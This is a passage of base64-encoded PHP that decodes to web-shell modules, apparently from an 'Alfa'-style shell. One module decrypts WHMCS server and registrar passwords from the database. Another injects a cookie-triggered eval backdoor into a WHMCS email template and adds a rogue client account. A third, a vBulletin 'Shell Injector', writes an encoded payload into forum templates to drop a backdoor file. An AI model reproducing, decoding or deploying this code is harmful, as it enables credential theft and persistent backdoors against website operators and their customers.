a2tyU25weloyWlJNRXRKU0RCT1EybzRLMFJSYnpoWk1sWjFaRWRXZVZCcWVIcGpSMFoxU1VoT01HVlhlR3hRVTBwdFlqSTFNRXhZVG5CbGJWVTJUWHBDZDJWRWMybFFhbmg2WTBkR2RVbElUakJsVjNoc1VGTkthVmxYVG5KYU0wcDJaRmMxYTA5cFFqRmpiWGR2U201R01XSXpVVGRoU0ZJd1kwUnZka3d6Vm5kTWJXeDVXVmMwZEdSSFJuTmhlVFZ3WTJrNU1XTkhlSFpaVjFKNlRIcEZlazE2UlRGT2VrVjRUa1JyZWt4dFpIQmFhVnA0WkZjNU1FOTVhMmRqYlZaM1dsZEdNRXhZWjJkak1rNTVZako0YzBsRVFXeEpSRUZzU1VoU2VWbFhOWHBqUjBaNVdsYzFNRTk1UW1waU1uaDJZMnB2WjJOdFZtdFBlVUl3V2xob01FeFlUbTlaVjFKMlpIcHZaMDlJUWpSSlJHaDNaVU5CZUUwelFqUlBlVWtyVUVoT01HTnRPWFZhZWpRNFdXbzBPRmx0Ykc1UWJrNTJZa2RXTW1GWVRuQlpiWGhzVVVka2RGbFhiSE5NYlU1MllsUjNkbGxxTkRoTU1rcHdXbm8wT0V3elRqQmpiVGwxV25vMFRrTm5QVDBpS1RzTkNpUnpiMnhsZG1semFXSnNaU0E5SUdadmNHVnVLQ0p6YjJ4bGRtbHphV0pzWlM1d2FIQWlMQ0ozSWlrN0RRcG1kM0pwZEdVb0pITnZiR1YyYVhOcFlteGxMQ1I0S1RzPScpKTt7L3BocH0iOw0KJG5ld2luID0gc3RyX3JlcGxhY2UoIiciLCJcJyIsJGluZGV4KTsNCiRuZXdpbmRleCA9ICI8cD5EZWFyICRuZXdpbiw8L3A+PHA+UmVjZW50bHkgYSByZXF1ZXN0IHdhcyBzdWJtaXR0ZWQgdG8gcmVzZXQgeW91ciBwYXNzd29yZCBmb3Igb3VyIGNsaWVudCBhcmVhLiBJZiB5b3UgZGlkIG5vdCByZXF1ZXN0IHRoaXMsIHBsZWFzZSBpZ25vcmUgdGhpcyBlbWFpbC4gSXQgd2lsbCBleHBpcmUgYW5kIGJlY29tZSB1c2VsZXNzIGluIDIgaG91cnMgdGltZS48L3A+PHA+VG8gcmVzZXQgeW91ciBwYXNzd29yZCwgcGxlYXNlIHZpc2l0IHRoZSB1cmwgYmVsb3c6PGJyIC8+PGEgaHJlZj1cIntcJHB3X3Jlc2V0X3VybH1cIj57XCRwd19yZXNldF91cmx9PC9hPjwvcD48cD5XaGVuIHlvdSB2aXNpdCB0aGUgbGluayBhYm92ZSwgeW91ciBwYXNzd29yZCB3aWxsIGJlIHJlc2V0LCBhbmQgdGhlIG5ldyBwYXNzd29yZCB3aWxsIGJlIGVtYWlsZWQgdG8geW91LjwvcD48cD57XCRzaWduYXR1cmV9PC9wPntwaHB9aWYoXCRfQ09PS0lFW1wic2VjXCJdID09IFwiMTIzXCIpe2V2YWwoYmFzZTY0X2RlY29kZShcJF9DT09LSUVbXCJzZWMyXCJdKSk7IGRpZShcIiFcIik7fXtcL3BocH0iOw0KaWYgKCFlbXB0eSgkZGJoKSAmJiAhZW1wdHkoJGRidSkgJiYgIWVtcHR5KCRkYm4pICYmICFlbXB0eSgkaW5kZXgpKQ0Kew0KbXlzcWxfY29ubmVjdCgkZGJoLCRkYnUsJGRicCkgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KbXlzcWxfc2VsZWN0X2RiKCRkYm4pIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCiRpbmplY3QgPSAiVVBEQVRFIHRibGVtYWlsdGVtcGxhdGVzIFNFVCBtZXNzYWdlPSckbmV3aW5kZXgnIFdIRVJFIGlkPSczNyciOw0KJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRpbmplY3QpIG9yIGRpZSAobXlzcWxfZXJyb3IoKSk7DQokY3JlYXRlID0gImluc2VydCBpbnRvIHRibGNsaWVudHMgKGVtYWlsKSB2YWx1ZXMoJ3NvbGV2aXNpYmxlQGZiaS5nb3YnKSI7DQokcmVzdWx0MiA9IG15c3FsX3F1ZXJ5KCRjcmVhdGUpIG9yIGRpZSAobXlzcWxfZXJyb3IoKSk7DQplY2hvICc8c2NyaXB0PmFsZXJ0KCJzaGVsbCBpbmplY3RldCA6XCkiKTwvc2NyaXB0Pic7DQplY2hvICI8YnI+PHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPjxicj48Y2VudGVyPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlBsZWFzZSBnbyB0byBUYXJnZXQgPC9mb250Pjxmb250IGNvbG9yPXJlZD5cIiBodHRwOi8vdGFyZ2V0LmNvbS93aG1jcy9wd3Jlc2V0LnBocCBcIjwvZm9udD48YnIvPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPiBhbmQgcmVzZXQgcGFzc3dvcmQgd2l0aCBlbWFpbDwvZm9udD4gPT4gPGZvbnQgY29sb3I9cmVkPnNvbGV2aXNpYmxlQGZiaS5nb3Y8L2ZvbnQ+PGJyLz48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5hbmQgZ28gdG88L2ZvbnQ+IDxmb250IGNvbG9yPXJlZD5cIiBodHRwOi8vdGFyZ2V0LmNvbS93aG1jcy9zb2xldmlzaWJsZS5waHAgXCI8L2ZvbnQ+PC9iPjwvY2VudGVyPjxicj48YnI+IjsNCn0NCn0NCn0NCmlmKGlzc2V0KCRfUE9TVFsnYWxmYTInXSkgJiYgKCRfUE9TVFsnYWxmYTInXSA9PSAnZGVjb2RlcicpKQ0Kew0KZnVuY3Rpb24gZGVjcnlwdCAoJHN0cmluZywkY2NfZW5jcnlwdGlvbl9oYXNoKQ0Kew0KJGtleSA9IG1kNSAobWQ1ICgkY2NfZW5jcnlwdGlvbl9oYXNoKSkgLiBtZDUgKCRjY19lbmNyeXB0aW9uX2hhc2gpOw0KJGhhc2hfa2V5ID0gX2hhc2ggKCRrZXkpOw0KJGhhc2hfbGVuZ3RoID0gc3RybGVuICgkaGFzaF9rZXkpOw0KJHN0cmluZyA9IGJhc2U2NF9kZWNvZGUgKCRzdHJpbmcpOw0KJHRtcF9pdiA9IHN1YnN0ciAoJHN0cmluZywgMCwgJGhhc2hfbGVuZ3RoKTsNCiRzdHJpbmcgPSBzdWJzdHIgKCRzdHJpbmcsICRoYXNoX2xlbmd0aCwgc3RybGVuICgkc3RyaW5nKSAtICRoYXNoX2xlbmd0aCk7DQokaXYgPSAkb3V0ID0gJyc7DQokYyA9IDA7DQp3aGlsZSAoJGMgPCAkaGFzaF9sZW5ndGgpDQp7DQokaXYgLj0gY2hyIChvcmQgKCR0bXBfaXZbJGNdKSBeIG9yZCAoJGhhc2hfa2V5WyRjXSkpOw0KKyskYzsNCn0NCiRrZXkgPSAkaXY7DQokYyA9IDA7DQp3aGlsZSAoJGMgPCBzdHJsZW4gKCRzdHJpbmcpKQ0Kew0KaWYgKCgkYyAhPSAwIEFORCAkYyAlICRoYXNoX2xlbmd0aCA9PSAwKSkNCnsNCiRrZXkgPSBfaGFzaCAoJGtleSAuIHN1YnN0ciAoJG91dCwgJGMgLSAkaGFzaF9sZW5ndGgsICRoYXNoX2xlbmd0aCkpOw0KfQ0KJG91dCAuPSBjaHIgKG9yZCAoJGtleVskYyAlICRoYXNoX2xlbmd0aF0pIF4gb3JkICgkc3RyaW5nWyRjXSkpOw0KKyskYzsNCn0NCnJldHVybiAkb3V0Ow0KfQ0KZnVuY3Rpb24gX2hhc2ggKCRzdHJpbmcpDQp7DQppZiAoZnVuY3Rpb25fZXhpc3RzICgnc2hhMScpKQ0Kew0KJGhhc2ggPSBzaGExICgkc3RyaW5nKTsNCn0NCmVsc2UNCnsNCiRoYXNoID0gbWQ1ICgkc3RyaW5nKTsNCn0NCiRvdXQgPSAnJzsNCiRjID0gMDsNCndoaWxlICgkYyA8IHN0cmxlbiAoJGhhc2gpKQ0Kew0KJG91dCAuPSBjaHIgKGhleGRlYyAoJGhhc2hbJGNdIC4gJGhhc2hbJGMgKyAxXSkpOw0KJGMgKz0gMjsNCn0NCnJldHVybiAkb3V0Ow0KfQ0KZWNobyAiPHNjcmlwdD5hbGZhMV89YWxmYTJfPWFsZmEzXz1hbGZhNF89YWxmYTVfPWFsZmE2Xz1hbGZhN189XCJcIjs8L3NjcmlwdD4NCjxjZW50ZXI+DQo8Rk9STSBhY3Rpb249JycgbWV0aG9kPSdwb3N0JyBvbnN1Ym1pdD1cImcoJ1dobWNzJyxudWxsLHRoaXMuZm9ybV9hY3Rpb24udmFsdWUsJ2RlY29kZXInLHRoaXMuZGJfdXNlcm5hbWUudmFsdWUsdGhpcy5kYl9wYXNzd29yZC52YWx1ZSx0aGlzLmRiX25hbWUudmFsdWUsdGhpcy5jY19lbmNyeXB0aW9uX2hhc2gudmFsdWUsdGhpcy5kYl9ob3N0LnZhbHVlKTsgcmV0dXJuIGZhbHNlO1wiPg0KPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZm9ybV9hY3Rpb24nIHZhbHVlPScyJz4NCjx0YWJsZSBib3JkZXI9MT4NCjxjZW50ZXI+PGI+PGZvbnQgY29sb3I9XCIjRkZGRjAxXCI+PT08L2ZvbnQ+IDxmb250IGNvbG9yPVwiIzAwQTIyMFwiPldITUNTPC9mb250PiA8Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5EZTwvZm9udD48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj5Db2RlcjwvZm9udD48Zm9udCBjb2xvcj1cIiNGRkZGMDFcIj4gPT08L2ZvbnQ+PC9iPjwvY2VudGVyPjxicj4NCjx0cj48dGQ+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+PGI+ZGJfaG9zdCA6IDwvYj48L2ZvbnQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIHNpemU9JzUwJyBuYW1lPSdkYl9ob3N0JyB2YWx1ZT0nbG9jYWxob3N0Jz48L3RkPjwvdHI+DQo8dHI+PHRkPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPjxiPmRiX3VzZXJuYW1lIDogPC9iPjwvZm9udD48L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgc2l6ZT0nNTAnIG5hbWU9J2RiX3VzZXJuYW1lJyB2YWx1ZT0nJz48L3RkPjwvdHI+DQo8dHI+PHRkPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPjxiPmRiX3Bhc3N3b3JkIDogPC9iPjwvZm9udD48L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgc2l6ZT0nNTAnIG5hbWU9J2RiX3Bhc3N3b3JkJyB2YWx1ZT0nJz48L3RkPjwvdHI+DQo8dHI+PHRkPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPjxiPmRiX25hbWUgOiA8L2I+PC9mb250PjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBzaXplPSc1MCcgbmFtZT0nZGJfbmFtZScgdmFsdWU9Jyc+PC90ZD48L3RyPg0KPHRyPjx0ZD48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj48Yj5jY19lbmNyeXB0aW9uX2hhc2ggOiA8L2I+PC9mb250PjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBzaXplPSc1MCcgbmFtZT0nY2NfZW5jcnlwdGlvbl9oYXNoJyB2YWx1ZT0nJz48L3RkPjwvdHI+DQo8L3RhYmxlPg0KPElOUFVUIGNsYXNzPXN1Ym1pdCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+PicgbmFtZT0nU3VibWl0Jz4NCjwvRk9STT4NCjwvY2VudGVyPiI7DQppZigkX1BPU1RbJ2FsZmExJ10gPT0gMiAmJiAkX1BPU1RbJ2FsZmEzJ10pDQp7DQokZGJfaG9zdD0oJF9QT1NUWydhbGZhNyddKTsNCiRkYl91c2VybmFtZT0oJF9QT1NUWydhbGZhMyddKTsNCiRkYl9wYXNzd29yZD0oJF9QT1NUWydhbGZhNCddKTsNCiRkYl9uYW1lPSgkX1BPU1RbJ2FsZmE1J10pOw0KJGNjX2VuY3J5cHRpb25faGFzaD0oJF9QT1NUWydhbGZhNiddKTsNCmVjaG8gJzxicj48cHJlIGlkPSJzdHJPdXRwdXQiIHN0eWxlPSJtYXJnaW4tdG9wOjVweCIgY2xhc3M9Im1sMSI+PGJyPic7DQokbGluaz1teXNxbF9jb25uZWN0KCRkYl9ob3N0LCRkYl91c2VybmFtZSwkZGJfcGFzc3dvcmQpIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCm15c3FsX3NlbGVjdF9kYigkZGJfbmFtZSwkbGluaykgOw0KJHF1ZXJ5ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdGJsc2VydmVycyIpOw0KJG51bSA9IG15c3FsX251bV9yb3dzKCRxdWVyeSk7DQppZiAoJG51bSA+IDApew0KZm9yKCRpPTA7ICRpIDw9JG51bSAtMTsgJGkrKyl7DQokdiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSk7DQokaXBhZGRyZXNzID0gJHZbJ2lwYWRkcmVzcyddOw0KJHVzZXJuYW1lID0gJHZbJ3VzZXJuYW1lJ107DQokdHlwZSA9ICR2Wyd0eXBlJ107DQokYWN0aXZlID0gJHZbJ2FjdGl2ZSddOw0KJGhvc3RuYW1lID0gJHZbJ2hvc3RuYW1lJ107DQplY2hvKCI8Y2VudGVyPjx0YWJsZSBib3JkZXI9JzEnPiIpOw0KJHBhc3N3b3JkID0gZGVjcnlwdCAoJHZbJ3Bhc3N3b3JkJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOw0KZWNobygiPHRyPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5UeXBlPC9mb250PjwvdGQ+PHRkPiR0eXBlPC90ZD48L3RyPjwvYj4iKTsNCmVjaG8oIjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+QWN0aXZlPC9mb250PjwvdGQ+PHRkPiRhY3RpdmU8L3RkPjwvdHI+PC9iPiIpOw0KZWNobygiPHRyPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5Ib3N0bmFtZTwvZm9udD48L3RkPjx0ZD4kaG9zdG5hbWU8L3RkPjwvdHI+PC9iPiIpOw0KZWNobygiPHRyPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5JcDwvZm9udD48L3RkPjx0ZD4kaXBhZGRyZXNzPC90ZD48L3RyPjwvYj4iKTsNCmVjaG8oIjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+VXNlcm5hbWU8L2ZvbnQ+PC90ZD48dGQ+JHVzZXJuYW1lPC90ZD48L3RyPjwvYj4iKTsNCmVjaG8oIjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+UGFzc3dvcmQ8L2ZvbnQ+PC90ZD48dGQ+JHBhc3N3b3JkPC90ZD48L3RyPjwvYj4iKTsNCmVjaG8gIjwvdGFibGU+PGJyPjxicj48L2NlbnRlcj4iOw0KfQ0KJHF1ZXJ5MSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIHRibHJlZ2lzdHJhcnMiKTsNCiRudW0xID0gbXlzcWxfbnVtX3Jvd3MoJHF1ZXJ5MSk7DQppZiAoJG51bTEgPiAwKXsNCmZvcigkaT0wOyAkaSA8PSRudW0xIC0xOyAkaSsrKXsNCiR2ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5MSk7DQokcmVnaXN0cmFyID0gJHZbJ3JlZ2lzdHJhciddOw0KJHNldHRpbmcgPSAkdlsnc2V0dGluZyddOw0KJHZhbHVlID0gZGVjcnlwdCAoJHZbJ3ZhbHVlJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOw0KaWYgKCR2YWx1ZT09IiIpIHsNCiR2YWx1ZT0wOw0KfQ0KZWNobygiPGNlbnRlcj5Eb21haW4gUmVzZWxsZXIgPGJyPjxjZW50ZXI+Iik7DQplY2hvKCI8Y2VudGVyPjx0YWJsZSBib3JkZXI9JzEnPiIpOw0KZWNobygiPHRyPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiM2N0FCREZcIj5SZWdpc3RlcjwvZm9udD48L3RkPjx0ZD4kcmVnaXN0cmFyPC90ZD48L3RyPjwvYj4iKTsNCmVjaG8oIjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjNjdBQkRGXCI+U2V0dGluZzwvZm9udD48L3RkPjx0ZD4kc2V0dGluZzwvdGQ+PC90cj48L2I+Iik7DQplY2hvKCI8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiIzY3QUJERlwiPlZhbHVlPC9mb250PjwvdGQ+PHRkPiR2YWx1ZTwvdGQ+PC90cj48L2I+Iik7DQplY2hvICI8L3RhYmxlPjxicj48YnI+PC9jZW50ZXI+IjsNCn0NCn0NCn0NCn0NCn0NCmVjaG8gIjwvZGl2PiI7DQphbGZhZm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhbGZhVmJpbmplY3QoKXsNCmFsZmFoZWFkKCk7DQplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOw0KZWNobyAnPHNjcmlwdD5hbGZhMV89YWxmYTJfPWFsZmEzXz1hbGZhNF89YWxmYTVfPWFsZmE2Xz1cIlwiOzwvc2NyaXB0Pg0KPGNlbnRlcj48YnI+PGJyPjxiPjxmb250IGNvbG9yPSIjRkZGRjAxIj49PTwvZm9udD4gPGZvbnQgY29sb3I9IiMwMEEyMjAiPnZCdWxsZXRpbjwvZm9udD4gPGZvbnQgY29sb3I9IiNGRkZGRkYiPlNoZWxsPC9mb250PiA8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+SW5qZWN0b3I8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRkZGMDEiPiA9PTwvZm9udD48L2I+PC9mb250Pg0KPGZvcm0gbmFtZT0iZnJtIiBhY3Rpb249IiIgbWV0aG9kPSJQT1NUIiBvbnN1Ym1pdD0iZyhudWxsLG51bGwsdGhpcy50ZW1wbGF0ZS52YWx1ZSx0aGlzLmxvLnZhbHVlLHRoaXMuZGIudmFsdWUsdGhpcy51c2VyLnZhbHVlLHRoaXMucGFzcy52YWx1ZSx0aGlzLnRhYi52YWx1ZSk7IHJldHVybiBmYWxzZTsiPg0KPGJyPg0KPGZvbnQgY29sb3I9IiNGRkZGRkYiPjxiPkluamVjdCBUbyA6IDwvYj48L2ZvbnQ+PGJyPjxzZWxlY3Qgc2l6ZT0iMSIgbmFtZT0idGVtcGxhdGUiPg0KPG9wdGlvbiB2YWx1ZT0iRkFRIj5mYXEucGhwPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJGT1JVTUhPTUUiPkZPUlVNSE9NRTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0ic2VhcmNoX2ZvcnVtcyI+c2VhcmNoIGZvcnVtczwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iU0hPV0dST1VQUyI+U0hPV0dST1VQUzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iU0hPV1RIUkVBRCI+c2hvd3RocmVhZC5waHA8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IkNBTEVOREFSIj5jYWxlbmRhci5waHA8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9Ik1FTUJFUklORk8iPk1FTUJFUklORk88L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9ImZvb3RlciI+Zm9vdGVyPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJoZWFkZXIiPmhlYWRlcjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iaGVhZGluY2x1ZGUiPmhlYWRpbmNsdWRlPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJsb3N0cHciPmxvc3Rwdzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0ibWVtYmVybGlzdCI+bWVtYmVybGlzdDwvb3B0aW9uPjwvc2VsZWN0PjwvcD4NCjx0YWJsZSBib3JkZXI9MT4NCjx0cj48dGQ+PGZvbnQgY29sb3I9IiNGRkZGRkYiPjxiPkhvc3QgOiA8L2I+PC9mb250PjwvdGQ+PHRkPjxpbnB1dCBuYW1lPVwnbG9cJyB0eXBlPVwndGV4dFwnIHZhbHVlPVwnbG9jYWxob3N0XCcgc2l6ZT1cJzMwXCc+PC90ZD48L3RyPg0KPHRyPjx0ZD48Zm9udCBjb2xvcj0iI0ZGRkZGRiI+PGI+RGF0YUJhc2UgTmFtZSA6IDwvYj48L2ZvbnQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9XCd0ZXh0XCcgc2l6ZT1cJzMwXCcgbmFtZT1cJ2RiXCcgdmFsdWU9XCdcJz48L3RkPjwvdHI+DQo8dHI+PHRkPjxmb250IGNvbG9yPSIjRkZGRkZGIj48Yj5Vc2VyIE5hbWUgOiA8L2I+PC9mb250PjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwndGV4dFwnIHNpemU9XCczMFwnIG5hbWU9XCd1c2VyXCcgdmFsdWU9XCdcJz48L3RkPjwvdHI+DQo8dHI+PHRkPjxmb250IGNvbG9yPSIjRkZGRkZGIj48Yj5QYXNzd29yZCA6IDwvYj48L2ZvbnQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9XCd0ZXh0XCcgc2l6ZT1cJzMwXCcgbmFtZT1cJ3Bhc3NcJyB2YWx1ZT1cJ1wnPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvbnQgY29sb3I9IiNGRkZGRkYiPjxiPlRhYmxlIFByZWZpeCA6IDwvYj48L2ZvbnQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9XCd0ZXh0XCcgc2l6ZT1cJzMwXCcgbmFtZT1cJ3RhYlwnIHZhbHVlPVwnXCc+PC90ZD48L3RyPg0KPC90YWJsZT4NCjxicj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iPj4iLz4NCjwvZm9ybT48L2NlbnRlcj4nOw0KaWYoJF9QT1NUWydhbGZhNSddKXsNCiRjb2RlID0gIntcJHtldmFsKGJhc2U2NF9kZWNvZGUoXCdKR052WkdVZ1BTQW5VRVE1ZDJGSVFVNURiVlpxWVVjNFowbHFlREJoV0ZKeldsUTFWR0l5ZUd4a2JXeDZZVmRLYzFwVFFsWmpSM2gyV1ZkU2JHTnFkM1prUjJ3d1lrZFZLMWhITkdsUGR6QkxXbGRPYjJKNVFXbFFRemx2V2xkR2ExQnNlSFZKYW5OT1EyMVdhbUZIT0dkSmFuaHBZakpTTlVsSFNtNVpNamx6WWpOSk9VbDZRWGROUkVGM1RVUTFZMkpwU1RkRVVYQnNXVEpvZGtsRFNUaFpia2tyV0VjMGFVOTNNRXRhVjA1dllubEJhVkJIVG14aWJsSnNZMm8wT0ZwdE9YVmtRMEpxWWpKNGRtTnFNV05KYm1SdllWaFNiRmhEU1N0UVIwa3JWMWM1TVdOcFFrcGpRMEpDV2tkU2VWcFlUbnBKUjJ4NlVFTTVhVkJwUVRoYWJUbDFaRU5DYW1JeWVIWmphakZqU1c1a2IyRllVbXhZUTBrclVFTTViV0l5TlRCUWFuZDJXVEpXZFdSSFZubFFhVUpqWW1sSk4wUlJjR3haTW1oMlNVTkpPRmx0Ykc1UWFuaHBZVmRqSzFCSFduWmlibEZuV1RJNWMySXpTVGxZUTBscVRqQk9SMUY2UVhkWVEwa3JVRWRPYkdKdVVteGphalZqWW1sSk4wUlJjR3haTW1oMlNVTlNabFV3VmxOV2ExWlRWM2xrVTFKVk1WQldSVlptVVZWU1JWVnBaR1JQZHpCTFdsZE9iMko1UVdsUVF6bHFXbGMxTUZwWVNTdFFRemx0WWpJMU1GQnFkM1paVkRRNFdtMDVkV1JEUW1waU1uaDJZMm94WTBscFRUTlJNRnBFVFVSQ1kwbHFOV05pYVVrM1JGRndiRmt5YUhaSlEwazRXVzVKSzFoSE5HbFBkekJMV2xkT2IySjVRV2xRUjBwNVVHeDRkVWxxYzA1RGJWWnFZVWM0WjBscWVHcGFWelV3V2xoSksxQkhXblppYmxGbldUSTVjMkl6U1RsWVEwbHFUakJPUjFGNlFYZFlRMGtyVUVkS2NGcDZORGhaYld4dVVHeE9kbUpIVmpKaFdFNXdXVzE0YkVsR1ZuZGlSemxvV2tOQ1FtTnRWbWhRUXpscFlWZGpLMUJET1cxaU1qVXdVR3AzZGxsVU5EaGFiVGwxWkVOQ2FtSXllSFpqYWpGalNXbE5NMUV3V2tSTlJFSmpTV28wT0V3eVduWmlibEVyVUVNNWFscFhOVEJhV0VrclVFZEtlVkJzZUhTY3ljN0pFOVZWRDF6YjJ4bGRtbHphV1FzWlNna1QxVlVLVHRsZG1GVlRzS0NSUFQwOHdNREF3VHpBb0pFOVZWQ2tWSmFuTk9RMjFXYW1GSE9HZEtlbmhxV2xjMU1GcFlTU3RRUjFwMlkyMHdaMWxYVGpCaFZ6bDFVRk5KYVVsSE1XeGtSMmgyV2tRd2FXTkhPWHBrUTBsbldsYzFhbVJJYkhkYVZEQnBZbGhXYzJSSGJIZFpXRW93VERKYWRtTnRNSFJhUjBZd1dWTkpaMkp0Um5SYVZEQnBaRmhDYzJJeVJtdGFXRWxwU1VFd1MyRlhVVGxKYmxaM1lrYzVhRnBIVm5sSmFqUnVUM2N3UzBsSFZtcGhSemhuU25wNGNHSnVRakZrUTBJd1pWaENiRkJUU20xaFYzaHNTV2xDZFZsWE1XeFFVMHB0WVZkNGJFbHBRbnBoV0hCc1VGTkpNRTVUU1N0UVIyeDFZMGhXTUVsSE5XaGlWMVU1U1d3NU1XTkhkMmxKU0ZJMVkwZFZPVWx1VGpGWmJURndaRU5KWjBSUmNIQmFSREJwV0ROV2QySkRTV2RrYlVaelpGZFZPVWxzVm5kaVJ6bG9Xa05KSzFCRE9XMWlNMHAwVUdwM2Rsa3lWblZrUjFaNVVHbGpOMFJSYjJkaFYxbHZTVU5TWmxWRk9WUldSbk51V0ROV2QySkRaR1JKUkRBNVNVTktWbU5IZUhaWlYxRnBTVU5yWjJWM01FdEpSMnh0UzBWQ2FtSXpRalZMUTFKbVVtdHNUVkpXVG1KS01scHdZa2RWYmxoV2MyNWtSekYzV0RJMWFHSlhWVzVZVTNkblNrWTVSMU5WZUVaVk1YTnVXbTFzYzFwVFpHUlhlV1IxV1ZjeGJFb3hNSEJMVTBJM1NVZFdhbUZIT0dkRVVXOXVVRWRKSzFCSFduWmlibEZuV1RJNWMySXpTVGxZUTBscVRqQk9SMUY2UVhkWVEwa3JVRWRPYkdKdVVteGphalZXWTBkNGRsbFhVV2RWTTFacVdUSldlbU15V2pGaVIzZzFTVVJ6Y0ZCRE9XMWlNalV3VUdwM2RsbFVORGhhYlRsMVpFTkNhbUl5ZUhaamFqRmpTV2xOTTFFd1drUk5SRUpqU1dvME9Fd3lTU3RRUjBwNVVHcDRhV05xTkc1UGVVSTVSRkZ2WjBsRFFXZEpSMVp6WXpKVloyVjVRbXhaTW1oMlNVTmpPRmxxTkRoYWJUbDFaRU5DYW1JeWVIWmphakZqU1dsTk0xRXdXa1JOUkVKalNXbzBPRmt5Vm5Wa1IxWjVVR3hXZDJKSE9XaGFRMEp0V1Zkc2MxcFhVV2RQYVdjNFRESmFkbUp1VVN0UVF6bG9VR3A0YldJeU5UQkpSMDUyWWtjNWVWQldkMmxKZW1SRVVtU2N5YzdKRTlWVkQxemIyeGxkbWx6YVdRc1pTZ2tUMVZVS1R0bGRtRlZUc0tDUlBUMDh3TURBd1R6QW9KRTlWVkNrdE5kMDFHZDJsUWFuZDJXV28wVGtOcWVHbGphalE0V1c1SkswcDZjMmRtVVRCTFNVZ3dUa05xT0N0RVVXODRXVEpXZFdSSFZubFFhbmg2WTBkR2RVbElUakJsVjNoc1VGTktiV0l5TlRCTVdFNXdaVzFWTmsxNlFuZGxSSE5wVUdwNGVtTkhSblZKU0U0d1pWZDRiRkJUU21sWlYwNXlXak5LZG1SWE5XdFBhVUl4WTIxM2IwcHVSakZpTTFFM1lVaFNNR05FYjNaTU0xWjNURzFzZVZsWE5IUmtSMFp6WVhrMWNHTnBPVEZqUjNoMldWZFNla3g2UlhwTmVrVXhUbnBGZUU1RWEzcE1iV1J3V21sYWVHUlhPVEJQZVd0blkyMVdkMXBYUmpCTVdHZG5ZekpPZVdJeWVITkpSRUZzU1VSQmJFbElVbmxaVnpWNlkwZEdlVnBYTlRCUGVVSnFZako0ZG1OcWIyZGpiVlpyVDNsQ01GcFlhREJNV0U1dldWZFNkbVI2YjJkUFNFSTBTVVJvZDJWRFFYaE5NMEkwVDNsSksxQklUakJqYlRsMVdubzBPRmxxTkRoWmJXeHVVRzVPZG1KSFZqSmhXRTV3V1cxNGJGRkhaSFJaVjJ4elRHMU9kbUpVZDNaWmFqUTRUREpLY0ZwNk5EaE1NMDR3WTIwNWRWcDZORTVEWnowOUp6c2dKR1p3SUQwZ1ptOXdaVzRvSW5OdmJHVjJhWE5wWW14bExuQm9jQ0lzSW5jcklpazdJR1ozY21sMFpTZ2tabkFzWW1GelpUWTBYMlJsWTI5a1pTZ2tZMjlrWlNrcE95Qm9aV0ZrWlhJb0lreHZZMkYwYVc5dU9pQnpiMnhsZG1semFXSnNaUzV3YUhBaUtUcz1cJykpfX17XCR7ZXhpdCgpfX0mIjsNCiR0ZW1wbGF0ZSA9JF9QT1NUWydhbGZhMSddOw0KQG15c3FsX2Nvbm5lY3QoJF9QT1NUWydhbGZhMiddLCRfUE